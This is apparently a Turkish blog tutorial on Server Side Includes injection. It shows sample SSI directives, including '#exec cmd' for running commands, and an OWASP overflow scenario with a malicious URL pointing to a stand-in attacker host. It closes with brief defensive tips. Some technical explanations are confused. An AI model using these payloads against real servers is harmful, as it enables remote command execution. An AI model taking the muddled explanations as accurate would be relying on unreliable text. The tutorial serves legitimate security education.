Server Side İncludes(SSI) Zafiyeti Nedir, Nasıl Sömürülür?

SSI Zafiyeti Nedir?

Server side includes olarak isimlendirilen zafiyet çeşidi html ile oluşturulan web sayfalarını dinamik içerikler ile beslemek amacıyla kullanılan yönergeler, kontrollerdir.

Daha basit olarak bir sayfanın yüklenmesinden önce sayfayı analiz eden görselleştiren bir kullanım yapısına sahiptir.Siteye giden request’e karşılık dönen response esnasında görselleştirme aşamasında ssi dediğimiz bir kodlama dili kullanılır yani site yüklenmeden önce ssi analiz edilir.

Bu zafiyet çeşidi kullanıcıdan girdi alınan herhangi bir site içeriğinde (form,feedback vs.) bulunabilir. Genellikle belli parametreler kullanarak manuel yöntemle sömürülebilir bir zafiyet çeşididir.

Bu zafiyetin genel sömürme metodolojisi html sayfalarına komut dosyaları enjekte etmek veya uzaktan kod çalıştırma (remote code execution) yöntemleridir.

Gönderilen request’lerin authentication(doğrulama)kontrolünün olup olmadığını görmek ssı direktiflerinde kullanılan karakterlerin enjekte edilmesi ile mümkündür.

Örneğin;

<! # = /. ” -> and [a-zA-Z0-9]

Authentication control (kimlik doğrulama kontrolü) yapmanın başka bir yolu da .”stm, .shtm ve .shtml” uzantılı sayfaların varlığını doğrulamaktır.Ancak bu uzantılı dosyaların var olması o sitede “ssı” zafiyeti olmadığı anlamına gelmez.

SSI zafiyetinin bulunduğu web sitelerinde ne gibi tehlikeler oluşabilir birazda onlardan bahsedelim.SSI zafiyeti “php” dilinde olduğu gibi komut çalıştırma yetkisine sahiptir yani linux komutları çalıştırılabilir isterseniz birkaç örnek ssı komutları ile daha net anlatayım.

<!–#exec cmd=”ls” –>

Bu komut kullanıldığı sistemde dizin listelemesi yapan bir ssı komutudur.Buradaki “exec” “execute “yani çalıştırma,yürütme anlamında kullanılan kelimenin kısaltımış halidir.”cmd” komutu iste “command” yani komut anlamında kullanılan kelimenin kısaltmasıdır.Ssı zafiyeti bulunan herhangi bir web sitesinde “” işaretleri içerisinde yazmış olduğumuz her linux,windows vb. terminal komutunun çalışma olasılığı vardır tabikide bunlar güvenlik duvarları ile engellenebilir.

Gelin birkaç örnek koda daha bakalım.

<!–#config errmsg=”File not found, informs users and password”–>

Yukarıda bulunan örnek kodda ise sunucu bilgileri üzerinde değişiklik yaparak kullanıcı adı parola karmasındaki hata mesajını değiştirebiliyoruz.

<!–#echo var=”DOCUMENT_NAME” –>

Bu komutta ise “DOCUMENT_NAME” yazan kısımda deneme yanılma yöntemi ile sunucudaki dosyaları görüntüleyebiliriz.

<!–#config timefmt=”A %B %d %Y %r”–>

Yukarıdaki komut içerisinde bulunan “config” ve “timeftm” ile sunucudaki tarih ve saat çıktı formatını kontrol etmek mümkündür.

<!–#fsize file=”ssi.shtml” –>

Ve son örnek kodumuzda ise “fsize” parametresi ile “” içerisindeki dosyanın boyutunu yazdırabiliriz.

Eğer incelemek isterseniz ssı zafiyetinin genellikle kullanılan komutlarının bulunduğu sayfanın linkini bırakıyorum.

SSİ vulnerablity payloads

Şimdi sizlere owasp sitesinde yayınlanmış bir ssı zafiyet sömürüsü olası senaryo örneği göstereceğim.

SSI Zafiyeti Örnek Senaryo:

IIS 4.0 ve 5.0 sürümlerindeki eski bir güvenlik açığı, bir saldırganın dinamik bağlantı kitaplığındaki (ssinc.dll) arabellek taşması hatası aracılığıyla sistem ayrıcalıkları elde etmesine olanak tanır. “Ssinc.dll”, Sunucu Tarafındaki Dahil Etme İşlemlerini yorumlamak için kullanılır.(CVE 2001-0506.)

Aşağıda SSI kodunu içeren kötü amaçlı bir sayfa oluşturarak ve uygulamayı bu sayfayı yüklemeye zorlayarak (Path Traversal attack), şu saldırıyı gerçekleştirmek mümkündür:

ssi_over.shtml

<!–#include file=”UUUUUUUU…UU”–>

Not: “U” sayısının 2049’dan uzun olması gerekiyor.

Uygulamayı ssi_over.shtml sayfasını yüklemeye zorluyoruz.

Kötü niyetli olmayan URL:

www.vulnerablesite.org/index.asp?page=news.asp

Kötü amaçlı URL:

www.vulnerablesite.org/index.asp?page=www.malicioussite.com/ssi_over.shtml

IIS boş bir sayfa döndürürse, bu bir taşmanın meydana geldiğini gösterir.Bu durumda, saldırgan prosedür akışını değiştirebilir ve isteğe bağlı kod çalıştırabilir.

Kısaca özetleme gerekirse ssı zafiyetinin bulunduğu web sitesinde saldırgan parola dosyalarını okuyabilir,sisteme dosya yükleyeblilir,sistemden dosya silebilir,bilgileri ve dosyaları ele geçirebilir

SSI Zafiyetinden Korunma Yolları:

  • Sistem dosyalarında hatalı kodlama bulunmamalı.
  • İsteklerin doğrulama yapılarak sonuç döndürülmesi gerekir.
  • Kullanıcılara verilen yetkilerin bilinçli ve sınırlı yetkiler olması gerkir.
  • Web sitesinin kaynak kodları içinde belirli notların işlem sonucu silinmesi gereklidir.
  • Güvenlik Duvarı yapılandırması olmalıdır.

Bu maddeler dikkate alınarak oluşturulan web sitelerinde sadece ssı değil çoğu zafiyeti engellemiş yada riski en aza indirmiş oluruz.

About The Author

Reply